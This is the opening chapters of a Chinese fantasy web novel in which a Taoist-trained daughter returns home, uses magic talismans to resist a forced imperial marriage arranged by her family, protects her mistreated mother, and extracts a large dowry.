《嫁纨绔?她反手一张灵符名震全京城》
第1章 一家人整整齐齐上断头台
3岁就被送去学道的嫡长女殷琉璃,被一道赐婚圣旨紧急召了回来。
殷侯府正堂。
一众长辈正襟危坐,看着眼前一身半旧的青色道袍,脑袋上用木簪插着道髻的殷琉璃,心里一个劲儿的打鼓。
这孩子出生那晚,黑压压的云层笼罩了大半个京城。
云层中隐着数到瘆人的白光穿梭,闷雷声在头顶盘旋,瘆人的要命。
“咔嚓”
天空一声巨响,霹雷撕裂云层,在一声响亮的婴儿哭啼声中直挺挺的劈向殷侯府邸。
府里请了一位高人,算出她乃煞星降世,命克全家。
虽说她出生后府里连个蚂蚁都没死过,可这丫头就跟悬在殷侯府头顶上一颗雷似的,说不定什么时候就要劈下来。
殷家人一点儿雷都不想顶,忍到她三岁硬生生从她娘怀里夺走,送去了山沟沟里扔了。
……
殷琉璃环视殷家几位在座的长辈,冷漠开腔,“我娘呢?请我娘来。”
“琉璃,十二年没见,你长大了!”
殷镜堂脸上硬生生挤出一抹笑容,冲她招了招手,“过来,让爹……好好看看你!”
“煽情就算了,跟你不熟。我!娘!呢!你不去请,我自己去看。”
殷琉璃说完就要走。
“别别,一会儿就请你娘来!”
“各位长辈都在这儿呢,琉璃丫头,有话好好说……”
殷侯府的长辈你看我我看你,一个个暗暗吸气。
这丫头进来既不磕头行礼,也叫坐也不坐,眼神凌厉,浑身上下透着股子桀骜的气息。
怕不是个好糊弄的!
倒是模样出脱的跟她那个病病歪歪的娘,像是一个模子里刻出来的!
她娘年轻时可是名冠京城的大美人儿!
如今殷琉璃也长得如个玉人般,肌肤盛雪,明眸皓齿,身材纤细高挑。
不过眉眼倒是带着十足的英气。
“她刚受了些风寒,身子还是不甚利索……咳咳……”
众人齐刷刷看向殷镜堂,他只好在脸上挤出一抹生硬的笑容道,“琉璃,家里这次叫你回来,是有件天大的喜事!
圣上隆恩浩荡,给你赐了门顶顶好的婚事……”
“不嫁!谁爱嫁谁嫁。”
殷琉璃毫不客气的打断他的话,“我回来是找我娘的。”
“琉璃,你听爹说,圣上指的并非寻常之人,而是他最宠爱的隆盛公主的独子……”
殷镜堂心里打了个突突,耐着性子劝说,“这可是多少人挤破头都寻不到的高嫁!”
“你觉得高,自己去嫁。”
殷琉璃懒得搭理,把手上的小破包袱一甩,“我去看我娘。”
当初因为一句命格克全家就把3岁的她和娘活生生分开,丢去山沟沟里的小道观。
她娘日夜思念,落了一身的病,这些年只能书信来往,娘俩见一面都不能!
如今叫她回来就把她嫁人,脑袋有病才肯!
在玄清观,她有师父疼师兄们宠,小日子过的相当滋润,殷侯府那道狗屁的赐婚圣旨跟她有什么关系?
不过师父算到她有一道天劫,随时有被雷劈的可能,要尽快去寻一个命带七煞之人婚配,以七煞命格挡灾方能渡劫。
这次下山,她不但要平安过劫,还要把娘接走!
“琉璃,不要胡闹!”
殷镜堂沉着脸说,“这是圣上赐婚!违抗圣命,你有几个脑袋够砍的?到时候咱们殷家全都给跟着你遭殃!”
“那好呀,一家子整整齐齐去上断头台,多热闹。”
殷琉璃不咸不淡的哼了一声,“这么多颗脑袋,应该够皇帝老儿砍一阵了吧?”
“简直放肆!”
殷老太爷一巴掌拍在桌上,胡子气的乱抖,
“你是我殷家的子孙,身上流着我殷家的血,怎能说出这般无情的话!
你已经到了婚配的年纪,不能再在山野荒观里混日子了,爷爷厚着这张老脸去圣上那里为你讨了这门好亲事,你竟还不领情?”
“说的好听!你们是想让我帮殷家挡灾吧?”
殷琉璃抬手挠了挠耳朵,唇边勾起一抹讥讽的冷笑,“殷镜堂得罪了人,被**,搞不好就要罢官流放。
大厦将倾,你厚着老脸去找了成懿公主,答应把殷家女儿嫁给她那个不干人事儿的混账儿子,以求庇佑……我没说错吧?”
耳报神刚刚在她耳边叽里咕噜说了一堆,事情从里到外打听了
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个清清楚楚明明白白。
公主府那个独苗世子顾瑾焱,从小被惯的无法无天,是京城出了名的纨绔子弟,吃喝玩乐无所不能。
拳打幼儿园,脚踢敬老院,整天除了人事什么都干!
据说之前订过七门亲事,新娘子还没进门就被他克**。
京城那些达官显贵谁还敢把女儿嫁过去?
偏成一懿公主自恃甚高,娶儿妇必要高门大户的嫡女,出身、模样、性情差一点儿她都瞧不上眼。
这才搞得她儿子18了还没娶上一房妻室。
“你、你如何得知?”
殷镜堂脸色顿时一变,噌的站了起来,指着她直哆嗦,“别听旁人浑说,爹怎么会……”
“殷侯府对我没有养育之恩,如今你们天快塌了却想拿我来顶,做梦吧?”
殷琉璃轻嗤了一声,扭头就走。
“**”
殷老太爷吹胡子瞪眼,把桌子拍的山响,
“你给我站住!你这不孝子孙,你要反了天嘛!
告诉你,事关我殷家满门性命,这门亲事,你嫁也要嫁,不嫁也要嫁!
没得商量!来人,给我把她拦下!给我请家法!”
“就凭你们?”
殷琉璃不屑的嗤了一声,抬手一道灵索符飞出,化作无形之戾气飞向家丁。
师父说她是百年难得一见的道门天才,天命玄女的命格,这十来年对她倾囊相授不说,还打开了祖师爷封存上百年的地库,让她进去学了个遍。
说来也奇怪,那些师兄们看来晦涩难懂的道门密典,她只消看一眼就能融会贯通。
阴阳、法术、阵局无一不通,尤其擅长灵符。
“咕咚……”
家丁两条腿好像被绳索缠**一般,一头栽倒在地上,门牙都磕掉了。
一屋子人面面相觑,根本没弄明白是怎么回事。
她只是抬了下手,家丁怎么就倒地上了?
“你……你……”
殷老爷子铁青着脸还在硬撑,握着家法的手一个劲儿的哆嗦,
“琉璃,你实在太过放肆!今日要是不加以惩治,往后殷家子孙个个学你不尊不孝,殷家会成什么样子!
你给我跪下!来人,上家法!”
第2章 我的命,由不得旁人来定
“你们殷家成什么样子,与我何干?”
殷琉璃反手扬起手将一道千钧符化作灵气,打在殷老爷子手中的家法棍子上,唇角轻蔑一挑,
“你那什么狗屁家法对我没用,免了吧。”
“砰!”
家法突然沉的像块大石头,从殷老爷子手中掉落,一声巨响把地面砸了个坑。
殷琉璃懒得跟这群人废话。
不知道哪天就要遭雷劈……呸,渡天劫了,得赶紧找到那个命犯七煞的家伙助她渡劫才行。
助她渡劫之人因命格极凶,并不会有性命之忧,没准还能把凶煞命格破了,两全其美。
至于好好的为什么还有如此大的一个天劫,师父捋着长白的胡子叹着气给了一个理由:过劳者早亡,过慧者天收。
自从她把地库中所有祖师爷的手书典籍学完那刻,一道天雷从玄清观头顶劈下,击碎了矗立百年的山门。
师父赶紧推算天机,赫然发现她因极慧,天劫降至。
不管如何,她都会带娘走!
空气陷入死一般的寂静。
“琉璃!”
一声虚弱的呼唤从走廊传来,甄氏哭喊着挣脱两个仆妇的拉扯,跌跌撞撞的向正堂跑来,“我的女儿!你们放开我,让我见我的女儿……”
“娘!”
殷琉璃飞身上前接住几乎跌在地上的甄氏,“娘,琉璃回来接娘了!”
“琉璃……我的女儿呀!娘不是做梦吧,娘真的看见你了?”
甄氏捧着她的脸左看右看,一把将她搂进怀里,哭的肝肠寸断,“这辈子还能再见你一面,娘就是**也瞑目!”
殷琉璃摇了摇头,直到看见母亲的那刻,她冰冷的眸子里才泛起一层暖色,
“不会,娘长命百岁!”
甄氏紧紧搂着殷琉璃,憔悴的脸上悲愤交加,“老爷,我绝不会让你把女儿嫁给那种人家!”
“住口!这里还轮不到你说话!”
殷镜堂对她没有一丝怜悯,呵斥道,“来人,夫人疯魔症又犯了,把她带下去!”
“是!”
跟来的两个仆妇赶紧上前,一左一右的抓了甄氏的胳膊用力撕扯,
“夫人快走吧,这是岂是您说话的地方?”
“惹老爷生气,您……”
“啪!啪!”
话音未落,两人左右脸上同时挨了两个巴掌,身子一歪倒在地上。
脸颊肉眼可见的肿了起来,巴掌印像朵花似的红彤彤。
两人捂着脸懵逼,根本不知是谁打了她们!
“滚!”
殷琉璃手中灵光闪过,凛冽的眸光划过两个仆妇的脸。
两人被那双刀锋般的眼睛看的浑身哆嗦,连滚带爬跑了出去。
殷镜堂的脸皮也跟着哆嗦了一下,连忙摆手说,
“琉、琉璃,你误会了!你娘她又犯了疯魔症,爹只是让人把她送回去休息…”
“你才是疯子!”
殷琉璃狠狠冷笑,将甄氏护在身后,声线狠戾道,“殷镜堂,你再敢动我娘一下试试!”
“琉璃……我的琉璃……”
甄氏神情恍惚,紧紧的抓着她的衣袖生怕自己是在做梦。
她已在袖中藏好**,若是殷镜堂执意要她女儿嫁给那克了七个未婚妻的世子,她就为女儿拼命!
大昶律例,生身母亲亡故,子女须得守孝三年,不行婚娶。
“娘,琉璃带你走!”
殷琉璃冷冷扫了众人一眼,毫不客气的说,“都给我听好了,我娘与我,与你们殷侯府再无任何关系!”
“娘跟你走,跟你走!!不管去哪儿,哪怕是天涯海角娘都跟你去!”
甄氏瞬间涌上惊喜之色。
握着女儿温暖的手,她知道这不是做梦。
这一天,她不知道盼了多少年!
“等等!”
甄氏颤抖着拿出一张红帛婚书扔在殷镜堂的脚下,憔悴的脸上带着一抹决绝,“殷镜堂!这婚书我们不要!”
“啪”
婚书落地,半卷的帛书中忽然露出一行字,跃入殷琉璃的眼帘。
看到那行字,她心头不由一奇。
我去,这是谁的生辰八字?命带七煞!
不是吧?
踏破铁鞋无觅处,得来全不费功夫,她找的就是这家伙!
殷琉璃不动声色的敲了敲耳根,心念道,“哇呀呀,速查此人!”
“得令!”
一道青烟从耳中飞出,化作不足手指高,手持一柄长矛,身穿盔甲青面獠牙的耳报神,在她耳边单膝一跪,转瞬就消失的无影无踪。
这是她前几年收服的一只厉鬼。
此物上辈子是个威风凛凛的大将军,埋骨的地方被当地百姓叫做将军坟。
血战沙场时因兄弟背刺全军覆没,死后怨气冲天,化作青面厉鬼在埋骨之地四处作祟,为祸人间。
搞得当地百姓一到天黑就关门闭户,躲在家里连大气儿都不敢出一声。
偶然间被路过的殷琉璃碰见,原看她周身灵气充沛要吸了她的魂魄,谁知三下五除二被人家打的服服帖帖。
殷琉璃本要超度了它,它不肯,哭着喊着要做她的小跟班儿,于是就成了耳报神。
因为总是张飞似的哇呀呀大叫,殷琉璃给它取名“哇呀呀”。
除了殷琉璃,旁人是看不见的。
“哇呀呀……主人!”
也就是眨眼的功夫,耳报神再次现身禀道,“此八字就是那个公主府的纨绔子弟顾瑾焱!”
咦?
踏破铁鞋无觅处,竟然是他!
殷琉璃原本阴沉的俏脸,此时眉尾抑制不住的往上扬。
七煞命格之人万中无一,下山前师父也只给她推算出一个大概方位,她本来还担心要费些时间,人这不就自己送货上门来了吗?
“你不能走!”
殷老太爷声色俱厉,缓缓起身
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道,“琉璃丫头,我与你爹好生相劝你不听,敬酒不吃吃罚酒,那就别怪爷爷和你爹不顾念你了!
我知道你学了道术,但你能打得过一个两个,还能打得过我整个侯府的人不成?来人!”
“哗啦啦……”
话音甫落,数十名家丁手里气势汹汹的涌了进来,手里拿着刀枪棍棒,将殷琉璃和甄氏团团围住。
“咣当”
身后,正堂大门也重重的关上。
气氛瞬间紧张肃杀。
殷老太爷脸上露出一抹冷笑,高声叱道,
“殷琉璃,你生为殷家子孙,就要知道替我殷家承担!你可不要怪爷爷,这是你的命!”
他们早有准备。
劝的动就劝,劝不动……自然要上点手段,把人捆了关着,到时候直接送上公主府的花轿!
“我的命,可不是你说了算!”
殷琉璃眸中闪过一抹冷笑,忽然摊了摊手说,“你们这么大动干戈,不就是想要我嫁吗?
好吧,我改主意了,嫁就嫁,有什么大不了的!”
“不行!琉璃你不能嫁!”
甄氏以为女儿怕了,仓皇的抓住她的手焦急道,“琉璃,娘有法子,你、你自己走,不用管娘!”
说着,她从衣袖中掏出**,一把横在自己的脖子上,颤抖的声音喝道,
“都别过来!放我女儿走,不然……我立刻自尽于此!我**,琉璃就要为我守孝,你们谁也别想把她嫁出去!”
“你、你敢!”
殷氏父子大惊失色,指着甄氏怒斥,“你是要我们殷侯死无葬身之地吗!快把刀子放下!”
甄氏悲愤失声,“那就死无葬身之地!谁害我女儿,我就跟谁拼命!”
“娘!”
殷琉璃心头更是一惊。
她没想到娘为了护着她,连自己的命都不要了。
一抹深深的感动涌上心头,殷琉璃不由湿了眼眶,连忙抓住甄氏的手哽咽道说,“娘,不要这样!琉璃,能保护娘,琉璃自有主张!”
“你肯答应?”
殷老太爷松了口气,这才得意的冷笑起来,“琉璃,你也知道罚酒可不是那么好吃的。早这么做,爷爷又何必对你动手?”
殷琉璃挑了挑眉,扫了那些家丁一眼冷笑道,
“老侯爷不必不动手,我说了嫁便嫁。只是你们兴师动众叫了这么多人来,有些多余。”
说罢,她在掌心画了一张“神仙索”符,纤细的手指一翻。
“砰砰……”
灵光闪过,数条无形的绳索如蛇般缠了过来,随着殷琉璃手指一收,数十名家丁纷纷一头栽到在地上,动弹不得。
地上一片哀嚎,“我、我动不了了……”
“这是怎么回事?”
……
殷琉璃扫了众人一眼,冷冷挑眉,“就这几个人,能困住我?”
不出手,倒真让殷家这些人以为她怕了!
第3章 我改主意了
殷家众人目瞪口呆,一股寒气顺着后脖子直直的窜了上来。
殷琉璃冷笑着嗤了一声,
“既然要我嫁,那就谈谈条件吧。我殷琉璃可不是白嫁的!”
殷侯府想拿她换活路,可没那么容易!
她的条件,就要侯府这些年侵吞她娘的嫁妆全都给吐出来!
娘出身并不高,外祖父不过是京中一个六品文官,但外祖母出身商贾之家,颇有家资。
当年嫁的时候,外祖父母以十里红妆给娘陪嫁,轰动了大半个京城。
可惜婚后一年他们就去世了,因只有一外嫁女,家产田庄被叔伯宗亲分了个干净,却没人理会她娘。
她娘身后再无人撑腰,那时殷侯府也渐渐显出式微疲态,经营的产业也亏了许多,殷镜堂就哄着她娘拿嫁妆出来,维持侯府的风光。
这边用着她的嫁妆填亏空,那边却扭头就娶了一个平妻王氏。
当年娘和她生生分离,又被丈夫冷落被王氏欺凌,日日忧思拖垮了身子,殷镜堂不怜惜她也罢,甚至由着王氏把她撵去后院不管!
娘的衣食,甚至一粥一饭都要看那个刻薄平妻的脸色。
而殷琉璃自从去了道观,殷镜堂也当没生过这个克侯府运数的孩子,从此不管不问。
要不是娘年年托人去送银子,师父和师兄们也把她当宝似的疼爱,她一个小女孩子不知道会有多凄凉。
这些不堪的往事,娘在信中不提一句,都是殷琉璃下山前让哇呀呀探查出来的!
……
“条件?”
殷老太爷擦着额头上的冷汗,颤声道,“你……你想要什么条件?”
殷琉璃挑了挑眉,
“当然是我的嫁妆!殷家好歹也是敕封**侯门,敢问我出嫁的嫁妆是什么?”
“嫁妆啊!爹自然是早就给你备好。”
殷镜堂暗暗松了口气,急忙道,“就跟你那两个妹妹一般不差,都是一千两银钱,一百亩上好的田庄,另有各式妆匣……”
殷琉璃鄙夷的撇嘴,“才这么点儿?侯爷不是这么小气吧,这些寒酸的陪嫁拿出去,殷侯府不怕被人笑话死?”
“不不……”
殷镜堂心里莫名紧张起来,苍蝇似的搓着手试探,
“爹知道你这些年在道观过的苦,本就想额外再给你添一些……”
殷琉璃毫不客气打断他的话,一脸鄙夷的说,
“别以为我刚下山,不知道那个什么世子其实就是一个烂柿子。
**无所不为,还克**七个没过门的新娘子。
真要那么好嫁,怎的不让你的宝珠、玉珠去?”
殷镜堂脸上闪过一抹惊讶,硬着头皮说,
“琉璃你误会了,你那两个妹妹到底还小……”
殷琉璃搔了搔耳朵,懒洋洋的瞥了他一眼,
“少来!”
耳报神早在她耳根子底下,气鼓鼓的一顿嘀咕,
“哇呀呀……主人,殷镜堂那个夫人就在里头听墙根呢,她说你们母女两个**怎配跟她相提并论?
亏得老爷想法子把你叫回来了,不然她的女儿就要去跳公主府那个火坑!
幸亏她提前知道消息,逼着殷镜堂给殷宝珠定下了一门上好的亲事。
呸,真**!”
这一声“呸”,多少带了点儿个人情绪。
“那……你还想要什么,跟爹说,爹尽量……能给的一定给你。”
殷镜堂被那双凌厉的眸子,看的心里打了个哆嗦。
心里说不出的发虚,一种不妙的感觉隐隐涌上心头……
“那我就不客气了,殷侯门嫡长大小姐出嫁,嫁的还是公主府……”
殷琉璃冲他搓了搓手指头,“至少不得良田千亩,十里红妆?”
殷镜堂心里咯噔一下,失声道,
“啊?这也太……也太……”
“琉璃,这些年你不在家,不知道咱家在朝堂上不似以前那般风光。
你要的东西实在有些难办……”
殷老太爷摆出一副为难的样子,叹了口气说,“这样吧,爷爷私底下再给你添些田庄和银钱,已经比你那几个妹妹好太多了。”
“哇呀呀!主人,别听那老东西的!”
耳报神在殷琉璃耳边拎着长刀张牙舞爪,绘声绘色的禀报,
“他心里骂你臭丫头,得无厌!也不看看自己几斤几两,配得上十里红妆?
呸,这老头子坏得很!”
说我贪得无厌?
恭喜你说对了。
殷琉璃唇边勾起一抹冷笑,
“既然那么好,老侯爷怎的不找旁的嫁去?殷家,可不止我一个女孩。
我可是为救殷家全族才去嫁的,没有我,你们一个个的说不定已经在去流放的路上了。
且不说去苦寒之地,就是这一路十万八千的路程,您老人家这身子骨,真不知道能不能受的了?”
殷老太爷瞬间像是被戳中了脊梁骨,抬手就要拍桌子怒骂,咬了咬牙,还是硬生生把火气压了下去,铁青着脸说,
“琉璃,别忘了你也是我殷家的子孙!就算去流放你也跑不了……”
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“诶,我可不一样。”
殷琉璃得意的撩了撩额角的碎发,“您老怕不是忘了,我3岁就被送出去出家学道。
按我朝律例,出家之人免受家族罪业株连。”
扎心不?
“你、你……”
殷老爷子一口气顿时堵在了喉咙里,咯咯了半晌才从牙缝里挤出几个字,
“好!好的很!那你要怎样才满意!”
殷琉璃把玩着纤细的手指,淡淡挑眉,
“说了良田千亩,十里红妆……少一颗石头子儿,你们各位另请高明,我殷琉璃不奉陪!”
空气瞬间陷入一片死寂。
整个厅堂只有殷家长辈沉重的吸气声。
你看我我看你,一个个黑着脸。
虽说不是凑不出来,可这十里红妆的嫁妆能活活要走殷府一半儿的家产,谁肯舍得?
这丫头不是去学道吗,怎么学回来这般心黑手狠!
若要强行扣压,也不知她学了什么本事,连两个五大三粗的家丁都拦她不住。
她娘倒是性子软弱好拿捏,可又铁了心护着殷琉璃。
空气一时间变得胶着。
“大姑娘,话可不是这么说的。”
一个故作娇柔的声音从身后传来,平妻王氏扭着柳枝般的腰身过来,媚态横生的脸上露出一抹做作的笑意,
“哟,好些年未见,大姑娘竟长得这般大了,活脱脱一个如花似玉的美人儿嘛!
妾身记得她出去那年,好似才这么点儿大……是吧姐姐?”
王氏一进来,甄氏的手便不由自主的攥紧了衣角,身子也不自在的往女儿那边挪了挪。
察觉到母亲紧张,殷琉璃将她的手包在手心里,冷冷瞥了王氏一眼,
“怎么,你有意见?”
“老太爷老爷在上,妾身哪有资格提什么意见?不过听老爷吩咐罢了。”
王氏见了礼,笑吟吟的看着殷琉璃,“只不过……”
“知道自己没资格,那就不用说了。”
不等她说完,殷琉璃就堵了她的话头。
“呃……大姑娘好利索的口舌!”
王氏气的牙根都痒痒,拿帕子沾了沾唇角挤出一个生硬的笑容,
“有些话不说不明,大姑娘是不知道咱府邸如今的状况艰难,别说十里红妆,就是你一个人的嫁妆都是老爷掏家底给你凑出来的呢。
咱们府里还有好几个姑娘待字闺中,若大姑娘开了这个头,以后人人都要这些,日子可怎么过?”
说着,又斜眼瞥了一眼甄氏,“姐姐说是不是?”
第4章 踩在脚下
甄氏身子微微一颤,艰难的张了张嘴,“……”
“娘你不用理她。”
殷琉璃握住了她的手,淡淡挑眉,“说实话。”
说话间,一道若有若无的符光从手中闪过,直奔王氏面门。
“什么实话?我说的这不就是……”
王氏正一脸莫名其妙,身上突然打了个寒噤,那张满是假笑的脸变得一狞,
“你个小贱蹄子,也不撒泡尿照照你是什么东西,张嘴就敢要十里红妆?
要不是赶着拿你去填火坑,谁认识你是从哪个肠子里爬出来的!
这殷侯府可都是老娘的,连你那个窝囊爹都得听……唔……”
她啪的一下捂住了嘴,不可思议的瞪大了眼睛。
怎么回事,她怎么把心里想的全都说出来了?
空气突然一静。
所有人都吃惊的看着她……
这话心里想想也就是了,怎么还敢往外说?
“你失心疯了你,胡说什么!”
殷镜堂脸上一阵又一阵的挂不住,噌的一下站起来。
“夫君,这、这不是我说的……”
王氏捂着嘴拼命摇头,好容易从牙缝里挤出几个字,突然指着殷镜堂又是一阵输出,
“不是你说横竖也当那丫头**,让她嫁过去被克死也好过殷家去流放?
她娘就是个**货,被老娘压在头上十几年屁都不敢放一个!
这侯府可是老娘当家,两个没人要的**也敢跟我抢?
你们殷家男人也是一个顶一个的窝囊,连个黄毛丫头都拿不住……唔唔……”
殷镜堂气的脸都绿了,
“住嘴!你、你放肆!”
“夫君,这真不是我说的,我也不知道怎么回事……我……”
王氏捂着嘴惊恐万状,忽然又满脸嫌弃的指着殷镜堂,
“殷镜堂你个废物点心!老娘当初瞎了眼才跟你,还以为当个侯门夫人能多风光呢,谁知道你混的狗都还不如!
殷家要是真被流放,老娘就跟你和离!老娘才不愿意陪你受那个罪……唔……怎么会这样?
救、救命……这不是我说的!”
“岂有此理!简直岂有此理!”
殷老太爷差点儿一口气没缓上来,拍着桌子大怒,“来人,还不给我把这丢人现眼的东西拖出去!”
好容易上来两个婆子,连拖带拽这才把疯狂输出的王氏弄了出去。
气氛瞬间变得十分尴尬。
殷孝堂想笑又不敢笑,脸色憋的格外古怪,“大哥,嫂夫人这是失心疯了吧?”
殷立堂一脸恼火的看着殷镜堂,
“大哥,我可没的罪过嫂夫人,怎么连我也骂上了?”
……
殷琉璃吹了吹水葱般的指尖,悠闲的看热闹。
祖师爷爷们传下来的实心符,可不是盖的!
老老实实给我说实话吧!
“啪”
一个响亮的耳光,让乱哄哄的正堂瞬间安静下来。
“**,你做什么!你敢打我?”
在众人面前被女人打,殷镜堂恼羞成怒抬手就打。
“你敢!”
殷琉璃抬手飞出一道符光。
殷镜堂整条胳膊瞬间定住,耍猴似的举在半空中,满面震惊,
“这、这是怎么回事……”
“啪”
话音未落,他的手忽然又不受控制,对着自己的脸狠狠掴了一掌。
整个厅堂瞬间安静。
众人不可思议的看着殷琉璃,根本没看出她做了什么。
殷琉璃上前搀扶摇摇欲坠的甄氏,冷眼看着殷镜堂,
“娘,你有什么话就跟他说,琉璃给娘撑腰!”
甄氏依靠在她的肩头,泫然欲泣,
“原来真是你的主意?殷镜堂,你竟然要亲手把自己的女儿推进火坑……”
殷镜堂心虚的摸着火辣辣的脸颊道,
“凤娘,你别听她胡说八道,她失心疯!”
甄氏眼神悲怆决绝,“这些年你如何对我,我都可以忍,但你要害我女儿,我会跟你拼命!
殷镜堂,我要与你和离!”
殷琉璃黑白分明的眸子一亮。
她本来就要带娘走,这下更好了!
“爷爷,爹,二位叔叔,宝珠有话要说!”
外面传来一个带着哭腔的声音,殷宝珠跑了进来,噗通一声跪在地上磕头,
“我娘刚才失心疯了,才会胡言乱语,其实她都不知道自己说的是什么。
宝珠替娘给爹赔罪,给各位长辈赔罪,请爹看在孩儿的份儿上不要跟娘计较。”
殷琉璃打量了她一眼,微微蹙眉。
殷宝珠小她一岁多,身形长得像她那个弱柳扶风的娘,容貌还算娇艳,一双细长眼,哭起来显得楚楚可怜。
其实眼神里藏的全都是算计,面相来看,此人是刻薄寡恩,越奸越贱之相。
倒是有
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一门好姻缘,可惜……
“宝珠见过长姐,给长姐磕头。”
正观着面相,殷宝珠忽然转过来给殷琉璃磕了个头,嘤嘤道,
“长姐长年不在家中,宝珠虽与长姐见面不识,可心里也是把你当亲姐姐敬的。
若非宝珠早就定下人家,宝珠愿替长姐去嫁顾世子,也好过让长姐替我们殷家扛起重担!”
一席话说完,殷家几个长辈顿时唏嘘不已,
“还是宝珠懂事,知道家里的难处……”
“小小年纪竟有如此心胸,实在难能可贵呀!”
“同样为人子女,这么一比,还不知道孰高孰低?”
……
“哇呀呀……主人你可别听她瞎逼逼!”
耳报神在殷琉璃耳边气的哇哇大叫,“她心里骂你是个妖女,到底用了什么法子让她娘着了道?
今儿她娘算是把脸丢尽了,要是不把场子找回来,以后她跟她娘在殷家就别混了!”
一片唏嘘声中,殷琉璃不由勾起了唇角,
“殷宝珠,你说的可当真?”
“当……当然。”
殷宝珠被那双凌厉的眸子看的心里颤了一下,硬着头皮说,“只是可惜,爹娘早已替妹妹定了人家,宝珠就是想也不能替……
不过宝珠愿将嫁妆尽数送与姐姐,虽然微薄,但这是宝珠对姐姐的心意!”
“哇呀呀……”
耳报神在她耳边甩了几下大刀,气鼓鼓的说,“主人,她心里可说了,当着殷家所有人的面儿,她好意思给你好意思要吗?
她越是表现的大度,长辈们就越心疼她护着她,东西送不成不说,反倒让你里外不是人呢!
我呸!什么人呀这是……”
耳朵根子都快被哇呀呀吵**。
殷琉璃揉了揉耳朵,傲娇的挑眉,
“既然你都这么说了,盛情难却,那就拿纸笔写下来吧。”
“啊?写……写?”
殷宝珠还以为她会竭力推辞,没想到她竟一口答应下来。
还要她拿纸笔写,她一个3岁就被扔出去的女儿,怎么好意思的?
“对呀,写下来,免得你以后不认账。”
殷琉璃从包袱里拿出纸笔,笑吟吟的递到殷宝珠面前,“写吧。”
她竟然来真的!
殷宝珠有点儿懵圈儿,闪烁着眼神向殷镜堂求助,“爹,这……”
救救我救救我救救我……
第5章 机关算尽
殷家长辈也面面相觑。
她怎么连句客套话都没有,还让人家写下来?
“琉璃,你妹妹是一片好心,看在姐妹情分上想帮衬你一把……”
殷镜堂心里拧了拧,沉下脸说,“你怎的还真要?”
“言出法随,她自己说的,我凭什么不要?”
殷琉璃冰冷的眼神落在殷玉珠的头上。
那支光彩夺目的金蕾丝镶宝石菊花簪,一支金镶珠翠钗,和桃花灿步摇,都出自娘的嫁妆。
哇呀呀早就把殷家这些人摸了个底,这些年王氏明里暗里将娘的嫁妆私吞大半,除了贵重首饰摆件,还有一整套贵重异常的家私。
那是外公外婆用了三年时间,为女儿出嫁准备的重礼。
而殷玉珠,不止于王氏私分娘的嫁妆,还时常帮王氏出主意欺辱娘!
没人知道她表面上看着柔柔弱弱,私底下却是个心狠手辣,不折不扣的帮凶!
娘失去的东西,她全都要替娘拿回来!
“宝珠到底是你妹妹!血脉相连,你怎么能忍心拿了她的嫁妆?”
殷老太爷带着一丝鄙夷开口,“你妹妹与你客气,你倒真不客气了!”
他倒也不是全然心疼殷宝珠这个孙女,只是这份嫁妆真送出去,日后她嫁人还不是要家里再掏一份儿?
殷琉璃冷瞥了他一眼,
“什么叫拿?老侯爷耳朵叫猪毛塞住了,没听见她自己跑进来哭着喊着送给我?”
殷老太爷暗暗吸了口气,被怼的没话说。
的确是殷宝珠自己跑来作死,好好的跑来演这一场做什么!
殷琉璃抬了抬下巴,不耐道,
“殷宝珠,你是不是真心要送?不是就别在这假惺惺。”
“长姐,我、我没有假惺惺……”
殷宝珠顿时咬住了下唇。
完了,事情怎么跟她设想的不一样?
殷家长辈全都在这儿,不是应该言辞激烈的拦住她吗,怎么一个个全都被她堵了嘴?
“那便好,你拿不动笔吗,我来帮你?”
殷琉璃纤细的手指一挑,将一张“控术”符打了出去。
符光闪过。
殷宝珠虽看不到,可手臂不由自主的提了起来,抓过毛笔伏下身子,不受控制的在宣纸上刷刷写字。
她没打算真写呀!
“这是怎么回事?”
殷宝珠一手按着胳膊,挣扎着抬头大叫,“我、我的手!爹,我控制不了……救我!救我!”
殷镜堂也吃了一惊,刚想要上前查看,就被一道灵符定在了原地。
两条腿好像下了千金坠似的硬生生就是挪不开。
“好了。”
殷琉璃绰起殷宝珠写下的赠予书,满意的挑眉,“我也不白收你东西,这样吧,赠你一句……
机关算尽太聪明,小心贵婿送他人。”
“你说什么?”
殷宝珠本就怨愤的心里顿时涌上一股怒火,“殷琉璃,你什么意思!”
“我的意思是,以后老老实实做人,别想着耍什么小聪明算计,这世上比你会算计的多了。”
殷琉璃不屑的嗤了一声,“这都听不懂?真是个棒槌!”
“你咒我?我把嫁妆都给你拿了,你竟然咒我!”
殷宝珠噌的一下站了起来,指着殷琉璃的鼻子破口大骂,
“殷琉璃,你安的什么心!你知不知道我未来夫婿是国公府嫡长孙方政允,他一表人才风流倜傥,文韬武略!
你嫁的那个虽是世子,却是京城最令人不齿的纨绔,**样样齐全!
我知道你嫉妒我嫁得好,可你就算再嫉妒我,也不能这般咒我!”
“我嫉妒你?”
殷琉璃双臂环胸不屑一笑,“你那个未来夫婿的确算得上人中龙粉,不过就你这样的,怕是以后连国公府的门儿都进不去。”
殷宝珠气到满脸充血,“你、你……”
“这句算送的,不收银子。”
殷琉璃不耐的瞥了她一眼,挽起甄氏的手道,“我乏了,懒得跟你们废话。劳烦各位把我的十里红妆准备好,再请我去嫁。
娘,咱们回房歇着。”
……
娘俩走了,众人面面相觑。
原想着把这个扔了不要的丫头弄回来,听话就给点甜头哄哄,不听话就吓唬一顿,捆了往花轿里一塞就齐活儿。
谁承想她学了一身的邪门歪道,把整个殷府弄了个鸡飞狗跳。
“**”
殷老太爷铁青着脸把桌子拍的山响,
“我殷侯府怎么会养出这种不仁不孝的子孙!简直丢尽祖宗的脸!”
殷镜堂愁眉苦脸的问,“爹,事到如今,该如何是好?”
“还能如何?想法子凑嫁妆,把这尊天煞凶神赶紧送走吧!”
殷老太爷身子一颤,有气无力的说,
“有了这层关系成懿公主才好在圣上面前替咱们说话,好歹先过了眼前这一关再说,总比等着抄家流放要好!
你们都别急,跟公主府做了亲家,我殷家以后还愁没有再兴旺起来那一日?”
殷镜堂满脸晦气的点点头,
“爹说的对,好在公主府定的月底就完婚,赶紧把这丫头嫁过去了事。”
成懿公主估计也是怕这第八个新娘子,还没过门就又被克**。
娶进门再死,她儿子好歹也婚配过。
朝廷中有个小道消息不知道是不是真的,圣上意欲选个未曾婚配的皇子皇孙,与边疆一直不**分的**部落公主和亲。
“对了镜堂,看样子琉璃这丫头从小野惯了,你赶紧找个
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嬷嬷教她些规矩,好歹应付着出了门子!”
殷老太爷流着冷汗着重叮嘱了一声。
不然真怕她到时候一个不痛快,连花轿都能掀翻!
